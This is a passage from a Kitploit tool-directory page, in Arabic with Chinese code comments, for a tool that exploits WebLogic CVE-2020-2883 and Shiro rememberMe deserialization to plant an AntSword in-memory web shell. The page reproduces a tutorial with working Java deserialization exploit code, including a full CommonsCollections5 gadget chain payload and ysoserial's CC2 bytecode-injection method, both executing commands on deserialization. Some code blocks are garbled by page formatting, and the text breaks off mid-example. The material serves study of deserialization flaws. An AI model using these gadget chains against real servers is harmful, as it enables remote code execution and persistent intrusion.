Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
WebLogic-Shiro-shell — WebLogic يستخدم CVE-2020-2883 لاستغلال ثغرة إلغاء التسلسل Shiro rememberMe، وتسجيل filter لـ AntSword كـ shell في الذاكرة بنقرة واحدة. | Kitploit
أدوات/GitHubGitHub/y4er/weblogic-shiro-shell
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية
GitHuby4er/weblogic-shiro-shell

WebLogic-Shiro-shell

WebLogic يستخدم CVE-2020-2883 لاستغلال ثغرة إلغاء التسلسل Shiro rememberMe، وتسجيل filter لـ AntSword كـ shell في الذاكرة بنقرة واحدة.

عرض المستودع
53160منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

مشاركة تقنية حول إلغاء تسلسل Java

تتضمن هذه المشاركة النقاط التالية:

  1. أساسيات تسلسل وإلغاء تسلسل Java
  2. لماذا تحدث الثغرات الأمنية أثناء إلغاء التسلسل؟
  3. الانعكاس في Java
  4. ysoserial CommonsCollections2 و CommonsCollections5
  5. عدة طرق لتحميل الفئات باستخدام ClassLoader في Java
  6. WebLogic CVE-2020-2555 و CVE-2020-2883 RCE
  7. Shiro-550 rememberMe الترميز الثابت الذي يؤدي إلى RCE عن طريق إلغاء التسلسل
  8. WebLogic + Shiro إلغاء تسلسل لتسجيل filter في الذاكرة بضغطة واحدة

أساسيات تسلسل وإلغاء تسلسل Java

يشير تسلسل Java إلى عملية تحويل كائنات Java إلى سلسلة من البايتات لتسهيل حفظها في الذاكرة أو الملفات أو قواعد البيانات. يمكن استخدام طريقة writeObject() من فئة ObjectOutputStream لتحقيق التسلسل، حيث تحول كائن Java إلى سلسلة بايت.

يشير إلغاء تسلسل Java إلى عملية استعادة الكائنات Java من سلسلة البايتات. تستخدم طريقة readObject() من فئة ObjectInputStream لإلغاء التسلسل.

لنأخذ مثالاً بسيطاً، انظر إلى الكود SerializeAndDeserialize ملاحظة: هنا نركز على تحويل النوع القسري في الكود```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化 并且Java内置的几大数据类型也可被序列化,因为他们都继承了Object类 */

public class SerializeAndDeserialize {

root@kitploit:~
public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

root@kitploit:~
يمكن لأنواع البيانات المضمنة في Java مثل String وInteger وArray وObject أن تقوم بالتسلسل (Serialization)، والطبقات التي نكتبها بأنفسنا مثل Person وDog يمكنها القيام بالتسلسل وإلغاء التسلسل طالما أنها تطبق واجهة Serializable.

## لماذا تحدث الثغرات أثناء إلغاء التسلسل؟

لننظر إلى مقطع كود، الآن هناك فئة كيان خبيثة EvilClass```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

يحتوي readObject الخاص به على كود لتنفيذ الأوامر Runtime.getRuntime().exec(new String[]{"cmd", "/c", name})، حيث وسيط name هو الأمر المراد تنفيذه. لذا يمكننا بناء كائن خبيث، وتعيين خاصية name الخاصة به إلى الأمر المراد تنفيذه، وعند إلغاء التسلسل (deserialization) يؤدي تشغيل readObject إلى RCE. كما يلي```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

root@kitploit:~
![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

الآن نحن نعرف كيف يتم تنفيذ RCE عبر إلغاء التسلسل، لكن من غير الممكن كتابة الكود بهذه الطريقة مباشرة في التطوير، لذا يتعلق الأمر بالبحث عن سلسلة الاستغلال. يتطلب ثغرة إلغاء التسلسل ثلاثة أشياء:

1. مدخل إلغاء التسلسل (source)
2. طريقة الهدف (sink)
3. سلسلة الاستغلال (gadget chain)

إذا نظرنا بعناية إلى نتائج الإخراج في الصورة أعلاه، نجد أنها لم تؤدِ فقط إلى تشغيل طريقة readObject، بل أيضًا إلى تشغيل toString()، والبناء بدون وسائط، وset، وget. لذا في عملية البحث الفعلية عن سلسلة الاستغلال، لا نحتاج فقط إلى التركيز على طريقة readObject().

والآن نحتاج إلى فهم **الانعكاس** (Reflection). لقد ذكرنا سابقًا مشكلة **تحويل النوع الإجباري**. في التطوير العملي، يتم معالجة المنطق في readObject، وعندما لا نعرف نوع البيانات المحدد للكائن المدخل، يتم استخدام الانعكاس لتحديد الاستدعاء. والانعكاس هو وسيلتنا المهمة للوصول إلى RCE.

## انعكاس Java

ما هو الانعكاس؟ كلمة "الانعكاس" تحتوي على مقطع "عكس"، لذا لشرح الانعكاس يجب أن نبدأ من "الانعكاس الإيجابي"، انظر إلى الكود. هذه هي فئة الكيان الخاصة بي.```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

الكتابة العادية```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

root@kitploit:~
ببساطة، يتم إنشاء مثيل من `ReflectionClass` باستخدام `new`، ثم استدعاء أساليبه عبر هذا المثيل، وهذا ما يُسمى "الإسقاط المباشر". ولكن ماذا لو كنت لا تعرف اسم الفئة عند استخدام `new`؟ كيف تستدعي الأساليب المحمية بـ `private`؟ هنا يظهر دور الانعكاس (Reflection). انظر إلى مقطع الكود التالي```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

لا حاجة لمعرفة اسم الفئة مسبقًا، يمكن استخدام فئة org.chabug.entity.ReflectionClass وتعديلها عن طريق تمرير المعاملات، ويمكن الحصول على الطرق أو الحقول الخاصة المحمية باستخدام setAccessible.

ثم سنبدأ من الثغرة، ونتعمق في فهم دور الانعكاس في إلغاء التسلسل، واستكشاف سلاسل استدعاء إلغاء التسلسل.

ysoserial CommonsCollections2 و CommonsCollections5

ysoserial هي أداة لتوليد exploits لإلغاء تسلسل Java، وقد تضمنت بعض exploits المعروفة، مثل سلسلة استغلال CommonsCollections. هذه المرة سنقوم بتحليل سلسلتي CC2 و CC5. سبب تحليل هاتين السلسلتين هو أن CC2 تستخدم عمليات تعريف البايت كود، بينما CC5 تهدف إلى تعميق الفهم حول الانعكاس واستدعاءات السلسلة.

لنبدأ أولاً بسلسلة CC5 التي يسهل فهمها.

CommonsCollections5

الثغرة تظهر في `org.apache.commons.collections.functors.InvokerTransformer#transform````java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

root@kitploit:~
بمقارنة الكود في فصل الانعكاس (reflection)، يتضح أن هذا استخدام نموذجي للانعكاس؛ وبتفسيره باستخدام كود مباشر (غير انعكاسي) فإنه يكون:```java
input.iMethodName(iArgs);

هذه this.iMethodName وthis.iParamTypes وthis.iArgs كلها قابلة للتحكم في المُنشئ. ومن ثم يمكن استدعاء أي طريقة من كائن الإدخال مع تمرير أي وسائط.```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

root@kitploit:~
لذا، أولاً، قم بإنشاء كود لتنفيذ الأوامر```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

نظرًا لأن فئة Runtime هي نمط مفرد (Singleton)، يجب الحصول على كائن Runtime من خلال getRuntime()، ثم تمريره إلى transform() ليظهر الحاسبة.

image-20200822135700699

لكننا نعلم أنه عند إجراء إلغاء التسلسل، يتم تنفيذ readObject() تلقائيًا فقط. إذا قمنا ببناء كائن InvokerTransformer مباشرة في هذه الحالة، فلا يزال يتعين حل مشكلتين:

  1. التنفيذ التلقائي لـ Runtime.getRuntime()
  2. التنفيذ التلقائي لـ invokerTransformer.transform()

أولاً، دعنا نحل المشكلة الأولى: في org.apache.commons.collections.functors.ChainedTransformer#transform يمكن تحقيق الاستدعاء المتسلسل.```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

root@kitploit:~
تعريف this.iTransformers هو مصفوفة Transformer```java
private final Transformer[] iTransformers;

Transformer هي واجهة، وقد قامت InvokerTransformer بتنفيذ هذه الواجهة.

image-20200822140627663

وفقًا لمبدأ التحويل الضمني للأنواع في Java، يمكننا تعريف مصفوفة من Transformer، ووضع عدة InvokerTransformer فيها لتحقيق استدعاءات انعكاسية متعددة، والحصول على Runtime.getRuntime().exec()```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

root@kitploit:~
والأمر الذكي هنا هو تمرير `Runtime.class` عبر مُنشئ فئة `ConstantTransformer`، مما يلغي حاجتنا لتمرير `Runtime` بأنفسنا.

الآن نحن بحاجة لحل المشكلة الثانية: كيفية تشغيل `transform()` تلقائيًا. من المعروف أن `readObject()` يتم تنفيذه أثناء إلغاء التسلسل. فهل توجد فئة يستدعي فيها `readObject()` طريقة `transform()` بشكل مباشر أو غير مباشر؟

في `org.apache.commons.collections.map.LazyMap#get`، يتم استدعاء `transform()`.```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

انظر إلى طريقة البناء لهذه الفئة وحقل factory```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

root@kitploit:~
حقل factory مُعدَّل بـ final و protected، لكن لديه طريقة عامة decorate() لتوليد كائن من هذه الفئة، ومن ثم يمكن بناء ما يلي```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

الآن يتم البحث عن مكان استدعاء طريقة get() للخريطة org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

root@kitploit:~
getValue() تستدعي map.get()، ويمكننا التحكم في this.key أيضًا. وtoString() تستدعي this.getValue(). الآن تابع البناء.```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

المشكلة الآن هي كيفية تشغيل readObject تلقائيًا لـ toString()، وهذا بسيط، في فئة jdk المدمجة هناك فئة استثناء BadAttributeValueExpException، والتي تقوم readObject() الخاصة بها بتنفيذ toString()```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

root@kitploit:~
if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

root@kitploit:~
لأن System.getSecurityManager() يكون افتراضياً null، لذلك يتم تشغيل val = valObj.toString()، ثم الدخول إلى TiedMapEntry.toString()، الـ payload النهائي```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

image-20200822144101188

يجب ملاحظة أنه عند التصريح عن كائن BadAttributeValueExpException، لم يتم تمرير معلمة entry مباشرة، بل تم تعيينها باستخدام الانعكاس. وذلك لأن المُنشئ الخاص بـ BadAttributeValueExpException يتحقق مما إذا كانت القيمة فارغة؛ فإذا لم تكن فارغة، فسيتم تنفيذ toString() أثناء التسلسل. وعند إلغاء التسلسل، نظرًا لأن entry التي تم تمريرها أصبحت بالفعل سلسلة نصية، فلن يتم تشغيل طريقة toString().

خلاصة: استخدم الانعكاس والاستدعاء التسلسلي بمرونة، ثم ابحث عن أداة (gadget) لتحقيق RCE بنجاح.```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

root@kitploit:~
### CommonsCollections2

فيما يتعلق بـ CommonsCollections2، نحتاج أولاً إلى فهم الكود البايت (bytecode) لجافا. في جافا، يجب تجميع جميع أكواد جافا إلى ملفات بايت كود كلاس (class bytecode) ليتم تنفيذها بواسطة JVM. يشبه البايت كود لغة التجميع (assembly) مع ضعف قابلية القراءة، ولكن هناك العديد من المكتبات الممتازة التي تعمل على معالجة وتعديل وتحرير البايت كود لتحقيق البرمجة، مثل asm و cglib و javassist. في أداة ysoserial، يتم استخدام مكتبة javassist. دعونا نلقي نظرة على كيفية كتابة حمولة (payload) لـ cc2 في ysoserial.```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

انظر أولاً إلى السطر الأول في Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

root@kitploit:~
تم ذكر فئة org.apache.xalan.xsltc.trax.TemplatesImpl، لذا يجب أولاً إلقاء نظرة على سطرين من الكود.```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

image-20200822152423212 لماذا تظهر الآلة الحاسبة؟ الغوص في createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

root@kitploit:~
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

root@kitploit:~
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

root@kitploit:~
الكود أعلاه يقوم بالأمور التالية:

1. قام بإنشاء كائن `org.apache.xalan.xsltc.trax.TemplatesImpl` باسم `templates`، حيث يمكن للحقل `_bytecodes` فيه تخزين bytecode.
2. قام بكتابة فئة `StubTransletPayload` خاصة ترث `AbstractTranslet` وتنفذ واجهة `Serializable`.
3. حصل على bytecode الخاص بـ `StubTransletPayload` واستخدم `javassist` لإدراج bytecode من `templates` (تنفيذ أمر عبر `Runtime.exec`).
4. باستخدام التأمل (reflection)، قام بتعيين الحقل `_bytecodes` في `templates` ليحتوي على bytecode الخاص بتنفيذ الأمر.

في الواقع، هو قام بتنفيذ فئة فرعية من `org.apache.xalan.xsltc.trax.TemplatesImpl`، ثم أدخل bytecode ضارًا خاصًا به في الحقل `_bytecodes` الخاص به. لاحظ `newTransformer()`.```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

Will execute getTransletInstance(), proceed```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

root@kitploit:~
    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

root@kitploit:~
السطر التالي سيقوم بإنشاء مثيل جديد من الفئة المعرفة بواسطة bytecode، وفي كتلة static داخل الفئة المعرفة بواسطة bytecode مكتوب Runtime.exec، مما يؤدي إلى RCE.```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

إذاً، ابحث عن فئة تستدعي template.newTransformer() داخل readObject. وهي PriorityQueue في الحمولة.

PriorityQueue هي قائمة انتظار ذات أولوية غير محدودة تعتمد على الأولوية. يتم ترتيب عناصر قائمة الانتظار ذات الأولوية وفقًا لترتيبها الطبيعي، أو وفقًا لـ Comparator المقدم عند إنشاء قائمة الانتظار، حسب طريقة البناء المستخدمة.

اطلع على readObject() الخاص بها.```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

root@kitploit:~
// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

root@kitploit:~
بما أنها قائمة انتظار ذات أولوية، فلا بد من وجود ترتيب. في heapify()```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator هو المقارن، عند تحديد comparator، يتم إدخال comparator.compare((E) c, (E) queue[right]). comparator هو كائن واجهة Comparator.```java private final Comparator<? super E> comparator;

root@kitploit:~
عند فحص علاقة الوراثة، نجد أن فئة `TransformingComparator` في حزمة CC تقوم بتطبيق واجهة `Comparator`.

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

طريقة `compare()` لفئة `TransformingComparator````java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

مهلاً، أليس هذا بالضبط استدعاء الانعكاس لأي طريقة transform السابق! هذا this.transformer يحمل فئة InvokerTransformer، واستدعاء newTransformer() عن طريق الانعكاس مباشرة يؤدي إلى RCE. قم ببناء الـ payload.```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

root@kitploit:~
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

root@kitploit:~
النقطة المربكة قد تكون في `new InvokerTransformer("toString", new Class[0], new Object[0])`، لماذا يتم استخدام toString أولاً ثم تعديله عبر الانعكاس إلى newTransformer؟ لأنه إذا تم استخدام newTransformer مباشرةً أثناء التسلسل، سيظهر خطأ `The method 'newTransformer' on 'class java.lang.Integer' does not exist`، لذا استخدمت ysoserial حيلة ذكية: استخدام toString أولاً لمقارنة السلسلة النصية مع الرقم 1، ثم تعديلها عبر الانعكاس إلى newTransformer.```java
/*
    Gadget chain:
